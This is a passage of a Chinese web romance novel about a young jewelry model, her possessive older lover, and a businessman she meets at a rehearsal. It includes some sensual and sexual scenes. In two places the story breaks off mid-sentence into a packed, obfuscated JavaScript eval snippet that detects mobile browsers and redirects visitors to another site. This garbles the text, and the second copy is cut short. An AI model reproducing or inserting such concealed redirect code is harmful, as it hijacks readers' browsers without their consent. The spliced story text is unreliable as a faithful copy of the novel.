李蕴仪究竟知不知道她的存在,孟绾甯无从揣测。薄瑾杉不常带她出门,知晓她与薄瑾杉关系的人寥寥无几,可她总觉得,李蕴仪应当是知道有她这个人的。 然而李蕴仪的视线只停留了一瞬便移开了,注意力并不在她身上。似乎只是在逐一打量即将登场的模特。 孟绾甯不自觉地松了口气。 李蕴仪没在化妆间待多久,便被一通电话叫走了。 她离开后,几名知晓内情的工作人员纷纷捂着胸口,仿佛刚经历了一场生死大劫。她们交谈的声音不大不小,恰恰好能飘进孟绾甯耳中。 “我这心脏啊,简直是女魔头,活脱脱的女魔头。” “你可小点声,这话要是传到她耳朵里,有你好果子吃。”说话的人做了一个给嘴巴拉拉链的动作。 “我才不怕呢。被她这么折磨,我早受够了。怪不得薄先生跟她离婚,哪个男人受得了这样的?” “嘴上积点德吧。人家离婚也不一定是因为这个,说不定是人家主动提的呢。再说,这种家底好、能力强、长得又美的女人,想找什么样的找不着?要我说,她这样的就该找几个小鲜肉,干嘛非要那种老男人。” “什么老男人哦!”那人立刻不满了,“法拉利老了也依旧是法拉利,好不好?薄先生这样优质的男人,给我十个小鲜肉我都不要。” “除了有钱和帅,还有哪里优质?” “这还不够?!”她用极大的气声表达震惊,随即又陡然压低嗓音,贴在那工作人员耳边,贼兮兮地嘀咕了一句什么。 孟绾甯只隐约听见“什么活儿好”,便见另一人瞬间羞红了脸,在对方肩头捶了一把。那人还不依不饶地问:“你怎么知道的?” 又有几个人加入了聊天,愈发肆无忌惮起来。 “这你们就不懂了吧,”她伸出手指比划了一下,一本正经地说,“平大鼓小,长顺短突。像薄先生这种,中间弧度不大,但顺着往外延伸,铺开很大一片的,一看就是真材实料。他身材又那么好,那方面肯定很厉害。所以我猜测,女魔头和薄先生那方面肯定不和谐。” “哎呀你平时都看些什么东西!”旁边几个女生面色泛红,却还是忍不住好奇,“怎么看出来的不和谐?” “我的天,要是和谐怎么能离得了?爽都要爽死了。做……做那个,肯定是越做越爱,有什么矛盾,难道床上还解决不了?” “哎呀你真是……!” 几个女生嘻嘻哈哈地尖叫推搡成一团,整间化妆室顿时热闹非凡。 孟绾甯早已羞红了脸,羞意之中,还夹杂着几分气恼。 薄瑾杉有多厉害,她再清楚不过。虽然是第一次与人恋爱,在这方面经验近乎为零,可所有最为极致的体验,都是薄瑾杉给她的。 印象中有那么一回,她咬着薄瑾杉的手指,足足失神了十多分钟,全身红得发紫,连哼都哼不出声。床褥扯开时洇着水痕,她臊得将脸埋进枕头里,死活不肯让他看,还是被他抱着亲着哄了好半天才缓过来。 她们在说什么,孟绾甯自然是懂的。 孟绾甯气的是,外头的女人原来并不全是图薄瑾杉的钱,竟然还图这些。图钱她可以接受,可她无法容忍自己的男人成为别人性幻想的对象。 哪怕只是想一想,都不行。 那样亲密的距离,那样浓重的占有,一想到旁人也曾在脑海里描摹与薄瑾杉的那些画面,她的心便像坠进了谷底,醋意翻腾,无可比拟。 心里不舒服,孟绾甯便下意识地抿唇。化妆师反复给她涂了三遍唇彩,终于忍不住“诶”了一声,提醒她别再抿了。 “不好意思。”孟绾甯并非有意。接过递来的服装后,匆匆走进了更衣室。 主办方为她准备的是一件新中式的改良旗袍,露颈不露肩。月白色的真丝沿着她饱满的曲线圆润地铺展开来,像月光覆在山峦之上,极衬她的肤色。 从更衣室里走出的那一刻,等在侧门的工作人员明显愣了一下。 “您、您好,这边请。”年轻的男助理移开目光,耳根泛红,说话都不自觉地磕绊了一下。 “谢谢。”孟绾甯微微颔首,随他快步穿过长廊。 虽是彩排现场,场内灯光却已调试妥当,正好打在展台上方。台下预留了几十个座位,是给受邀的宾客与媒体的。 品牌方的首席设计师正按活动流程,介绍新一季的翡翠作品。 孟绾甯被安排在第二轮压轴展示环节,由她佩戴本季的重磅作品,一条满绿的翡翠珠链,在特写镜头下展示。 她在后台等了十分钟。工作人员为她佩戴好珠宝后,前台的主持人报出了她的名字。 她被领到特写镜头区域。三百六十度旋转无死角的镜头,画面投放在四面环绕的大屏上。 摄影师在台下按着快门,追随着孟绾甯的动作,不停称赞“好好好”。 这条珠链是品牌今年主推的“栖霞”系列,主石是一颗玻璃种帝王绿翡翠吊坠,搭配同套系的手链与耳饰。 满绿的翡翠最是挑人的颜色,可孟绾甯肤若凝脂,帝王绿的浓翠压上去,不但没有被压住,反倒被衬托得愈发浓郁深邃。 绿得更凶,更艳。 展示结束后,摄影师叫住了她,随即转向身后不远处的观众席,朗声道:“李总,我建议就她了。” 这位摄影师是业内有名的金牌摄影师,名叫Lux,孟绾甯早有耳闻。他留一头栗色长卷发,穿着打扮随性不羁,与诸多高奢品牌杂志合作过,不少明星的绝美出图都出自他手。 这番话一出口,分量不言而喻。 Lux问她:“你叫什么名字?” “孟绾甯。”她答。 她有些受宠若惊,站在原地,手指抚着颈间的翡翠,走也不是,留也不是。 李蕴仪正与一位男人坐在一起,闻言二人一同起身走上前来。她立在摄影师身畔,语气淡淡的:“理由呢?”问完又侧头看向身边的男人,“陆先生觉得如何?” 那男人身着深灰色西服,气质儒雅,看上去比薄瑾杉年纪相仿。听到李蕴仪问,他望了一眼仍站在台上的孟绾甯,含笑答道:“我不专业,还是听Lux的。” “陆先生谦虚了。”Lux直接接过话,毫不客气地说,“这条珠链,我前前后后试拍过许多模特,总觉得差那么一点意思。翡翠与人的气韵之间,仿佛隔着一层什么。其实不是珠子的问题,是人的问题。得是这样的,” 他抬手一指孟绾甯,“气血足,有饱满的生命力,才撑得起来。” Lux顿了顿,继续说:“你看她,不是瘦,是润。前胸撑得起,腰又收得住,肩背圆润却不厚,脊线还这般漂亮。这种身段,放在宋画里便是簪花仕女,放在民国便是月份牌上的美人。年轻又成熟,有女人的韵味,鱼和熊掌兼得了,哪里找去?” 那位陆先生在一旁连连点头,还轻轻鼓了鼓掌。 李蕴仪始终沉默,视线定格在孟绾甯身上,片刻后才点了点头,说:“那就她吧。” 话音刚落,三人便一同离去。 孟绾甯还留在台上,方才听着摄影师的一番点评,心紧张得几乎要跳出胸腔。 先前带她进来的那位负责人不知从哪里冒了出来,热情道:“孟小姐,我叫齐悦,您叫我小悦就行。咱们加个微信,下次彩排定在四月七号,清明假期回来的第一天。正式活动是四月十号,到时候还得麻烦您再过来一趟。” 孟绾甯打开微信二维码让她扫了,有些讶异:“还有一次彩排?” “对的。”齐悦点点头,“这几天活动场地一直空不出来,还是陆先生出面,才多协调了一天,我们才能多彩排这一次。” “陆先生就是刚才那位?”她问。 名字与人要对上号,这位陆先生应该就是李蕴仪之前在化妆间提到要特别重视的那一位。 “是的是的!陆昭恒,就是刚才站在李总旁边的那个,是我们的甲方爸爸。他很帅吧!”齐悦双手捂嘴,少女春心萌动,毫不掩饰,“听说还是单身呢。” 孟绾甯扑哧一声笑了出来,问她:“你喜欢他?” 齐悦摇摇头,垂下脑袋,语气认真:“我只是欣赏,可不敢喜欢。陆先生家里有权势,本人又那么优秀,这么难协调的活动场地,他一个电话就给搞定了。我可不敢痴心妄想。” 孟绾甯要去更衣室换衣服,边往外走边听齐悦说话,没一会儿就被逗笑一次,觉得这姑娘实在可爱。 将换下的衣物交给齐悦后,她便正式道别,离开了。 * 等电梯的时候,想到徐胜还在停车场等着,孟绾甯拿出手机,发了条消息过去。 正低头发送, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544298|204060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽觉有人靠近身侧。孟绾甯没来得及抬头,只闻到一股清淡的薄荷香。 很淡,很雅。 收起手机,孟绾甯才发觉身旁站的是陆昭恒。 陆昭恒单手插兜,并未将视线落在她身上。倒是他身边跟着的男人,孟绾甯望过去时恰好与对方打量的目光撞了个正着。她猜测,大约是陆昭恒的秘书或助理之类。 齐悦说陆昭恒是甲方,想来级别应当不低。这次活动她受了不少照拂,想了想,还是笑着打了声招呼,唤了一句:“陆先生。” 陆昭恒眼底闪过一丝讶异,朝她微微颔首。 孟绾甯的私服都是薄瑾杉选的纯色裸色系,修身款居多,露肤度很低,薄瑾杉骨子里封建保守,喜欢她穿成这样,她在这方面很听话,薄瑾杉说什么都依着他。 其实她不知道的是,以她这样的身段与气质,裹得越严实,反倒越惹人遐想。 今天穿了一件裸粉色修身长裙,配银色浅口单鞋,因为怕冷,外面又罩了件乳白色羊绒大衣。一头漆黑长发垂坠至腰际,规规矩矩地别在耳后,露出的那一小截脖颈与脚踝雪白无瑕,像镀了一层光的玉。 视线一旦落在她身上,便再也挪不开。陆昭恒难免想起方才那碧绿的翡翠,这才认出她来。 “孟小姐。” 陆昭恒竟然记得她的名字,孟绾甯有些吃惊。 三人一同进了电梯。 电梯里一时沉默。孟绾甯双手垂在身前拎着包,站在左前侧,自然是不会先开口的。 陆昭恒站在她右后方,不多时,竟轻轻笑了一下,问道:“孟小姐方便留个联系方式?” 这话题开启得有些生硬。 孟绾甯微微偏过头,又觉这样有些不礼貌,便侧过身看了他一眼。 陆昭恒只是说了这句话,并没有什么多余的举止。他没有拿出手机做出扫码的动作,也没有打开自己的二维码让她扫。他的表情是有些疏离的,只是眸子里含着淡淡的笑意,不仔细看,几乎瞧不出那是笑。 这话放在旁人身上,大约都会被视作搭讪。但陆昭恒不同,他言行有度,眼神中透着清晰的边界感,并不会叫人感到不适。 孟绾甯犹豫了。 她其实并不想与陆昭恒这样的人扯上关系,这里面的关系盘根错节,说不准他还与薄瑾杉认识。可若不答应,又显得有些不识抬举。 这么一纠结,她便有些愣在那里,没说好,也没说不好。 倒是陆昭恒先笑了,解释道:“没别的意思,孟小姐别误会。我只是觉得,难得遇到能够将设计师的作品寓意完全呈现出来的人,所以想交个朋友,看看以后有没有合作的机会。如果孟小姐不方便,也没有关系。” 孟绾甯攥紧了包,低声说:“不好意思。” “可以问一下原因吗?是孟小姐不愿意与我合作?” “不是的。”她顿了顿,“我……男朋友不喜欢。不好意思。” 这个理由倒是有些令他意外了。 陆昭恒没忍住笑了,笑声在电梯里格外清晰。他问:“你男朋友占有欲这么强?那你工作中若是遇到异性同事呢,也得时刻保持距离,连话都说不得?” 孟绾甯有些后悔,该另寻一个理由的。只答道:“说话还是可以的,我们不就在说话。” 她确实比这世上周旋的人要直白坦率得多,让人忍不住总想逗她。 陆昭恒笑着点头:“那我明白了。虽然加不上联系方式,但以后合作是可以的。多谢孟小姐为陆某指点迷津。” 孟绾甯忙忙摆手,说他误会了,不是这个意思。 恰好此时电梯门打开。陆昭恒没有回应她说的误会,说了声先告辞了,便带着助手离去。 孟绾甯松了一口气,并没有将这个小插曲放在心上。 上车之后,孟绾甯接了个电话。 是她的大学同学柳诗茉,约她小聚。 她看了眼时间,快到晚饭时间,就跟柳诗茉约了在国贸一同吃饭。 徐胜等她挂断电话,问道:“小姐先不回家?” “嗯,朋友约我吃饭。”孟绾甯想了想,又问:“瑾杉今天有应酬吗?”要是他有应酬,就不告诉他自己去吃饭的事了,反正应酬也不一定几点能回来。 徐胜说:“先生的行程我不敢多问,不过我来时看到钟小姐跟他们一起,应当是有应酬。” 7. 京夜 孟绾甯一时没接话。 徐胜自知话多了些,透过后视镜看了一眼她的神色,低声道:“小姐,您别多心。钟小姐是先生的助理,工作上的事,替他分忧罢了。” “嗯,我知道。”孟绾甯轻轻应了一声,偏头望向窗外。 过了片刻,孟绾甯忽然开口:“胜子哥,做瑾杉的助理,都要做些什么?” “那可多了去了。”徐胜同她相处久了,知晓她的脾性,话也便多说了几分。 “日常事务、应酬往来、人际关系、突发状况、行程安排,一年到头几乎二十四小时待命。不过重要的事有秘书打理,先生看重钟小姐,主要是她那套人际交往的本事。许多事啊,说白了就是处关系,关系处好了,事自然就顺了。” 孟绾甯听着,只觉那一桩桩一件件纷繁杂乱,光是想想都要晕了,何况是日日周旋其中。 可钟曼姝偏偏做得到。她酒量好,长袖善舞,薄瑾杉若有应酬,多半会带上她。 徐胜见她沉默,又补了一句:“小姐,您真不必往心里去。先生待您的心意,跟那些都不相干。” “我明白。”孟绾甯弯了弯唇,声音柔得像一缕烟,“胜子哥,我跟你打听钟小姐的事,你别告诉他。” “您放心,小姐。” 孟绾甯和钟曼姝,是截然不同的两种女人。一个温婉乖顺,如清水芙蓉,一个热烈风情,似灼灼桃花,谁也说不准男人究竟更爱哪一朵。 刚在一起那阵子,孟绾甯没少把钟曼姝当作假想敌,暗地里跟薄瑾杉使过好几回小性子。 后来才慢慢看清,薄瑾杉对她钟曼姝,当真只是左膀右臂,再无其他。 可看清归看清,他身边常年晃着这样一个女人,孟绾甯心里终究不是滋味。 薄瑾杉对她的控制欲那样强,处处管着她,占据了她全部的世界,而她却无权过问他太多事。 车子驶入拥堵的路段。 三月底的天,黑夜来临的时间还是早了些,暮色沉沉地压下来,无端透着几分萧索。 徐胜时不时按一声喇叭,提醒那些随意变道加塞的车。 车窗外,红晃晃的尾灯连成一片,摇曳如碎掉的琉璃。 孟绾甯望着那片流光,思绪悄然飘回了大二那年的冬天。 * 那时她跟薄瑾杉在一起八个多月,暑假里日日黏在一处,她终于得偿所愿,与他越过了那最后的底线。 那种紧致曼妙对正值壮年的男人而言,诱惑力实在太过强悍。 简直是欲罢不能。 为了不耽误她平日上课,薄瑾杉只在周五晚上安排司机将她接回住所,周一清晨再送回去。 薄瑾杉在朝阳区有一处四合院。 这四合院是薄瑾杉创业后置下的第一笔资产,意义非凡。一应装饰皆为中式风格,处处透着古典的雅致。 院中有一条长长的人工池塘,四周种着玫瑰与海棠,正门两侧各立一株桂花树,还有几株桃花和樱花。 每到十二月份,雪落无声,花瓣凋零,整座院子便染上一层薄薄的凄凉。 就在卧室那张拔步床上,龙涎香袅袅升起,帷帐缥缈如雾,古铜与馥白缠绵交织,汗湿的黑发千回百转地绕在他指间。 薄瑾杉不止一次皱着眉,□□,抿着她的耳垂,哑声问她怎么能够紧成那样。 孟绾甯初尝情事,辨不出他话里是喜欢还是嫌弃。只直觉以为薄瑾杉说她太过紧张,以为自己让他体验不佳,还偷偷伤心了许久。 后来次数多了,才慢慢回过味来薄瑾杉是喜欢的。 半年多的日子,尽是甜蜜。 直到那个周末。 孟绾甯白天照常去兼职。那天薄瑾杉破天荒地亲自开车来接她,却意外撞见有人向她表白。 北京的初冬,飘起了细雪。没多久,地上便积了薄薄一层白。 孟绾甯穿一件米白色针织包臀鱼尾裙,里面衬着暖融融的加绒打底,外搭同色系羊绒披肩,又系了一条厚厚的围巾。玲珑曲线尽数收拢,丰腴饱满,风姿绰约,已然褪去青涩,熟女韵味悄然彰显。 雪花落在她发顶,落在她肩头。 向她表白的男生与她年纪相仿,看上去像个莽撞的愣头青。手里捧着九十九朵红玫瑰,不顾天寒地冻,面红耳赤地诉说着满腔爱意。 孟绾甯身边的追求者向来不少,但大多望而却步。这般直接表白的,倒是头一个。 她觉得有些棘手,又不忍心伤人,犹豫片刻,温声说:“谢谢你的喜欢,但我们不合适。” “你都没跟我试过,怎么知道不合适?”那男生语气急躁起来,将花往前一递,恳求道,“我是真的喜欢你,能不能给我一次机会?” “不好意思。”孟绾甯怕冷,鼻尖已冻得通红。转身想走,却被那男生拦住。 那人将她的拒绝视作欲擒故纵,不依不饶:“我想不明白你为什么这么清高。学校那么多人追你,你一个都看不上。难道你不知道女生是逐渐贬值的吗?我条件不差,你考虑考虑,跟了我不亏。” 这话已带着几分羞辱。孟绾甯仍保持着体面,温柔解释:“你很好,所以你值得更好的。我已经有喜欢的人了,我们真的不合适。” “只是有喜欢的人,但没有在一起,不是吗?” 他油盐不进。孟绾甯再有耐心,此刻也不愿继续纠缠。 孟绾甯转身要走,胳膊却猛地被对方拽住,力道之大,疼得她几乎下意识就要甩开。 就在这时,她看见了街边停靠的那辆迈巴赫。 迈巴赫前,立着一道熟悉而高大的身影。 薄瑾杉体魄强悍,这么冷的天只在一件西装外披了件黑色长款大衣,单排扣,戗驳领,英俊的眉目和高挺的鼻梁总给人不苟言笑的感觉。 孟绾甯心中一喜,却在看清薄瑾杉脸色的一瞬,骤然慌了神。 薄瑾杉不知来了多久,面色沉沉地望着她身后那个男生,随即视线下移,落在那只拽着她胳膊的手上。 只一眼,他便收回了目光,看都没看她,转身上了驾驶座,缓缓将车驶了出去。 孟绾甯直觉薄瑾杉好像生气了,终于不再对那男生好言相向:“放开我,你再这样我要报警了。” 闹市街头,那人再执着,也不敢真做出什么出格的事。 孟绾甯挣脱开来,急匆匆追了上去,终于在拐角处望见了那辆熟悉的车。 她抿了抿唇,拉开副驾驶的门,坐了进去。 暖风扑面而来,冰冷的四肢渐渐回温。 薄瑾杉已经脱了大衣,正接着电话,一只手随意搭在方向盘上,目光平视前方,像是根本没看见她这个人,连一个眼神都吝于施舍。 他接电话时话不多,大多时候只是听对方汇报,偶尔在关键处给出三两指示。 低沉的嗓音断断续续回荡在车厢里,震得孟绾甯靠近他的那一侧耳根发麻发痒,忍不住揉了揉。 好不容易等薄瑾杉挂断电话,她倾身过去,双手轻轻握住他的手,软着嗓音问:“今天怎么有空过来接我。” 薄瑾杉没回答她的问题,只回握住她的手指,触到一片冰凉,眉心几不可见地蹙了一下。 “出门前不是让你戴手套。” 孟绾甯的手小,又白又细,薄瑾杉一只手掌便能将她两只手都裹住。 孟绾甯低下头,有些心虚:“出门太急,我忘了。” “帽子也忘了?”他问。 孟绾甯无辜地看着他,轻轻点了点头。 薄瑾杉没再说话,伸手将车内的空调又调高几度,然后扯过安全带替她系好,这才发动引擎,缓缓驶离。 一路上都很安静。 回到家,薄瑾杉停好车,熄了火,一言不发地下车进屋。 孟绾甯跟在他身后,感受到他身上那股疏离的冷意,知道他生气是板上钉钉的了。 只是她实在没经验,在一起之后,薄瑾杉从没凶过她,连冷脸都很少有,他就像一座巍峨的山,包容接纳她的所有,所以眼下这般情形,她更多是害怕。 孟绾甯跟在他身后,脱衣换鞋,佣人迎上来把两人的外套接过去挂好。 薄瑾杉只留一件衬衫,揉了揉脖子,回卧室换衣服。 孟绾甯跟着他,坐在卧室门边的凳子上,看他绷着脸解开衬衫纽扣,露出精壮的上半身,又随意套了件休闲上衣,然后从她身侧走过,径直进了书房。 她咬了咬唇,跟了进去。 门在身后合拢的一瞬,孟绾甯再也克制不住翻涌的情绪,从背后贴上去,环住他的腰,眼泪夺眶而出,哽咽着唤了一声:“瑾杉。” 她胆小又大胆。害怕薄瑾杉生气却又敢直呼他的名讳,十六岁的年龄差,她从不唤他敬称,也不像旁人那样叫他先生,而是叫他瑾杉,有种隐秘调情的意味。 佣人恰好端茶进来,瞧见这副光景,尴尬地愣在门口。 薄瑾杉微微抬手,示意她先出去。 孟绾甯年纪小,许多事都看不透拿不准,在这段感情里,她一直都是自卑的那一个。 “你是不是生气了。”孟绾甯哭着问,语无伦次地解释方才的事,“我真的跟那个男生没有任何关系,我、我已经拒绝他了。” 泪水如断了线的珠子,一颗一颗洇进他柔软的毛衣里。 她贴着他的脊背,能听到他的心跳。 那样宽厚,那样有力。 这样的男人,能跟他在一起,已是命运的赏赐,因此他越是沉默,孟绾甯的心就越是往下坠。 “我知道。”薄瑾杉的声音听不出喜怒,只轻轻拍了拍她的手背,“我都看到了。我有点工作要处理,你先出去。” 孟绾甯潸然泪下,却不敢在这时忤逆他,只得恋恋不舍地松开手,乖乖退了出去。 家里有佣人,孟绾甯连哭都觉得不自在。 薄瑾杉那场会开了一个小时,她便赤着脚在院中的雪地里哭了一个小时。 她怕薄瑾杉不要她,怕薄瑾杉丢下她。 她已尝过薄瑾杉的好,那份宠溺,那份包容,无一不让她沉沦。还有那日渐沉迷的爱欲,她对他迷恋至深,爱到无法割舍。如果他真的不要她,那还不如彻彻底底地别管她。 薄瑾杉开完会出来,寻了一圈不见人影,被佣人告知她在雪地里不顾阻拦冻了一个小时的时候,周身的气压瞬间降至冰点。 孟绾甯冷得浑身发抖,睫毛上凝着冰霜,嘴唇冻到惨白,牙齿磕颤着连话都说不出来。 见薄瑾杉走来,还要伸出冻僵的手指去安抚他。 “孟绾甯!”薄瑾杉气红了眼,猛地用大衣裹住她,将她抱回卧室的床上,“你知不知道自己在做什么?不要命了?!” 卧室里的暖气不够热。薄瑾杉将空调温度调到最高,命佣人备了热水,一寸一寸地擦过她的身体。 她的脚本是莹润秀气的,此时却冻得发红。 薄瑾杉的脸色简直难看到了极点。 薄瑾杉替她暖手暖脚,褪去衣物,将自己的温度一点一点渡给她。 过了许久,孟绾甯终于缓过劲来,哭到几乎缺氧,手指发麻,连他的手都抓不住,只痴痴地说:“我知道错了,我再也不跟别的男生说话了,你不要不要我,不要离开我,好不好,好不好。” “你简直是胡闹!”薄瑾杉怒急攻心,在她耳边低吼,手掌不停地揉搓着她的身体,替她活络血脉。 孟绾甯哭了一会儿,费力地在他怀中转过身,泪眼朦胧,执拗又固执地问:“你是不是不想要我了。”泪珠一串串滚落,“瑾杉,是不是。” 薄瑾杉泄愤似的咬住她的耳垂。她疼也不说,只一个劲往他怀里躲。 “我什么时候说不要你了。”他的声音又气又无奈,“我就开个会,想着开完会再叫你进来,就这么一会儿都离不开我,你脑子里一天天的都在想些什么乱七八糟的。” 孟绾甯听他说这话,心里反倒不怕了,只觉得他是在乎她的。 她小声抽噎着:“我没想,可是你生气不理我,不看我。我宁愿你骂我,也不要冷着我。” 薄瑾杉捏住她的下巴,将她的脸抬起来,问:“绾绾,我们在一起多久。” 孟绾甯不知他为何问这个,抽泣着回忆了一下,乖乖答:“二百六十二天。” “八个月。”薄瑾杉说,“之前你在我这儿跟你妈妈打电话,她问你在哪,你说在朋友家,还特意强调朋友是女生。” 孟绾甯眼皮红红的,望着他,眨了眨眼。 薄瑾杉继续说:“今天有人跟你表白,我当时就想看你怎么回答。结果呢,你是怎么说的。” 她是怎么说的。 孟绾甯此刻浑浑噩噩,满脑子都是不要离开他,哪里还记得自己说过什么。 “绾绾。”薄瑾杉拇指揉了揉她下巴上被捏出的红痕,额前垂落几缕发丝,却遮不住那双深邃柔情的眸子,“我就这么见不得人,让你承认一句有男朋友了就这么难。” 孟绾甯吸了吸鼻子,慢慢消化着他的话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“她都没怎么注意我,可能根本不知道我,或者没把我放在眼里。”孟绾甯撇撇嘴,夹了一筷子肉,跟柳诗茉在一起时格外放松,像个小孩子似的往外倒苦水。 “我不信,怎么可能这么巧。”柳诗茉皱起眉,“绾甯,你一定要小心。这种前任现任见面的场面,我就没听说过几个是平和的。” 孟绾甯知道她是为自己好,乖巧地点点头:“嗯,我知道,我会注意的。” “你家里那位知道吗?” “知道什么?” “就是你遇到李蕴仪的事。” “他不知道。”说完,孟绾甯又补了一句,“我不知道他知不知道。” 柳诗茉叹了口气,压低了声音:“那你们是什么打算,准备结婚吗。” 说到这个话题,孟绾甯的神色黯淡下来,方才的雀跃一点点褪去。 “还没提。你说我要主动跟他提吗。我猜不透他的想法,也不敢问。我总觉得问他就是在逼他。茉茉,我不想让他觉得我是在逼婚。” 柳诗茉沉默了片刻,轻轻叹道:“那先别提了。主要是你们俩年龄差太多了,我总感觉他都可以当你……唉,算了。而且他又掌管那么大的公司,身边男男女女那么多,我担心你被他骗。” 听到这话,孟绾甯倒是笑了,觉得柳诗茉瞎操心,歪着头天真地问:“我还能被他骗什么呀?” 一说这个,柳诗茉来劲了:“你好意思说,被他骗身骗心还不够?” 孟绾甯忍不住笑出声来:“那也不能叫骗吧,都是我心甘情愿的。” 在学校时,她本就比同级同学小一两岁,小女生抵抗不住成熟男人的魅力,也是情有可原。 柳诗茉看着她那副模样,简直没救了似的摇头晃脑:“你可真是个恋爱脑啊,恋爱脑!” 孟绾甯被说得脸都红了,娇嗔地推了柳诗茉一把,让她别拿自己开涮。 一顿饭吃得格外尽兴。 临别前,两人又在商场里逛了一圈。 孟绾甯陪着柳诗茉去挑了一块卡地亚蓝气球系列的男士腕表。打包时,柳诗茉叫住柜姐:“麻烦帮我把小票拿出来,谢谢。” 孟绾甯一听这话就乐了。 从店里出来,她勾着柳诗茉的胳膊凑过去说悄悄话:“刚才谁说我恋爱脑,我怎么感觉恋爱脑的另有其人呢。” 她知道柳诗茉谈了个男朋友,是警察,体制内的铁饭碗,就是工资不高,家境也普通。柳诗茉家境殷实,送人家东西还总怕伤了人家的自尊心。 “你可别说我,我又没花家里的钱。”柳诗茉瞪她一眼。 “好好好,我的大小姐。” 孟绾甯转身去给薄瑾杉选了一对袖扣。薄瑾杉给她一张无限透支额度的黑卡,她不常用,偶尔心血来潮,会帮他挑一些配饰。 也许是职业的缘故,她自己说不上有多么喜欢珠宝首饰,却偏偏喜欢替他搭配。 而薄瑾杉给她添置的那些,都在家里的保险柜里静静躺着,多得她自己都记不清。 柳诗茉是自己开车来的,两人在停车场道了别。 徐胜将她送回万柳。到家时,管家正从主楼出来。 孟绾甯看了眼时间,才八点,有些诧异:“万叔,瑾杉回来了?” 管家停住脚,应了声回来了,却未立刻离去,迟疑片刻,才低声道:“小姐,先生方才说想吃蜜金桔枇杷烤梨了。那几个女佣手脚不利落,做出来的都不是先生喜欢的味道。” 孟绾甯了然,微微一笑:“我知道了,我去做。” “哎,哎。”万叔顿时放下心来,将屋里一众佣人都招呼走了。 初春换季,天干易燥。 蜜金桔枇杷烤梨本是她在这个季节爱吃的东西,偶然做过一回,被薄瑾杉尝到。不知他是爱屋及乌,还是当真喜欢,从那以后便时不时提起,让她再做。 梨性凉,烤制之后寒性减了几分,对脾胃虚寒的人也有益处。他爱吃,孟绾甯便随了他。 进屋之后,孟绾甯先去卧室换了身衣裳。 经过书房时,听见里头传来说话声,知道他在开会,便没有打扰,径直去了厨房。 约莫半小时后,她端着托盘,轻轻推开了书房的门。 薄瑾杉正坐在书桌后,鼻梁上架了一副银边无框眼镜,手指撑着额头,阖着眼,眉头微蹙。 屋里没有应酬过后的酒气,只飘着淡淡的龙涎香,想来他应是早回来洗过澡换了衣服。 孟绾甯轻手轻脚地走进去,本想把东西放下就离开,却蓦地对上了薄瑾杉睁开的眸子。 薄瑾杉的目光落在托盘里的那盅烤梨上,神情似有一动。 下一秒,他一抬手,握住她的手腕,往回一扯,将她抱着坐在了腿上。 8. 京夜 孟绾甯想说什么,却被他竖起一根手指抵在唇边,轻轻比了个噤声的手势。 会议仍在继续。 几位公司董事和高管畅所欲言,丝毫不知这间书房里已多了一个人。 在她想来,这种性质的会议大抵会涉及商业机密,或许是因为她听不懂,薄瑾杉便也不刻意避着她。 “我不赞成AB股。上一阶段融资时,你就只稀释了45%的股权,依旧将核心控股权死死握在自己手里。难道这次还要这样?寰海体量越来越大了,瑾杉,你需要有人替你分担。” 另一人也附和道:“我觉得高董说得有道理,散股太容易被收买。寰海现在正值上市关键期,就算背靠寰洲,平隆会给你这个机会?他们想推翻你一次,就能推翻你第二次。” 孟绾甯越听越紧张,不由得揪住薄瑾杉的衣袖,目光里盛满了担忧。 跟在薄瑾杉身边这几年,她多少也耳濡目染了一些。 寰洲和寰海她都知道。 早年薄瑾杉靠房地产起家,寰洲一度成为行业翘楚。这两年经济不景气,实业发展困难,但寰洲依旧是压舱石般的存在。而寰海是背靠寰洲发展起来的,科技领域烧钱多、见效慢,尤其是近两年人工智能飞速发展,竞争对手也越来越多。 孟绾甯从未想过,薄瑾杉竟也经历过差点被人推翻的局面。 似是感受到了她的不安,薄瑾杉微微皱眉,打断那头的发言,手掌不动声色地揉着她的腰以作安抚。 “应对之策我之前已经说过了,平隆想从寰海分一杯羹,那是痴心妄想,他们如果真想玩,我也奉陪到底。” 薄瑾杉语气独断,字字斩钉截铁。 几位董事还想再劝,被他三言两语便打发了。 会议挂断后,薄瑾杉摘下眼镜,按了按眉心。随即睁开眼,目光灼灼地盯着她,似乎有些享受她脸上那抹挥之不去的担忧。 工作上的事,孟绾甯不知该怎么问,问少了徒增烦恼,问多了又像在打探不该打探的。 她在这种时候常常感到挫败,忍不住想如果是李蕴仪,恐怕已经替他想到解决问题的法子了,而她却什么都做不了。 思忖半晌,孟绾甯终究什么都没问,只是伸出手指按住他的太阳穴,小声问:“累了吧,我给你按按。” “嗯。”薄瑾杉由着她按,手掌隔着一层布料,捏她软腻的屁股。 按了好一会儿,见薄瑾杉眉心终于舒展开来,孟绾甯才柔声开口:“刚才回来的时候碰到万叔了,他说你想喝蜜金桔枇杷烤梨汤,我就去做了。尝尝味道怎么样。” 她端过那盅烤梨,舀了一勺,轻轻递到他嘴边。 薄瑾杉看着她,就着她的手喝了下去,末了淡淡说了一句:“万叔多嘴。” 孟绾甯知道这是他为早上的事递过来的台阶,并不在意这话,只问:“味道怎么样。” 薄瑾杉淡淡笑了,说:“好喝。”手掌渐渐游移到她的大腿,来回抚摸着,“你做的都好喝。” 孟绾甯弯起眉眼,开心道:“那你多喝一些。” 她一勺一勺地喂他,汤盅很快见了底。 孟绾甯放下碗勺,被搂着往上一颠,双腿搭在薄瑾杉一侧,整个人彻底坐进了他怀里。 “今天活动顺利吗?”他问。 “挺顺利的。”孟绾甯没说遇见李蕴仪的事。 “晚上去哪儿了?回来这么晚。” “去国贸跟茉茉吃饭了。” 他点点头,垂眸看着她,又问:“吃了什么?” 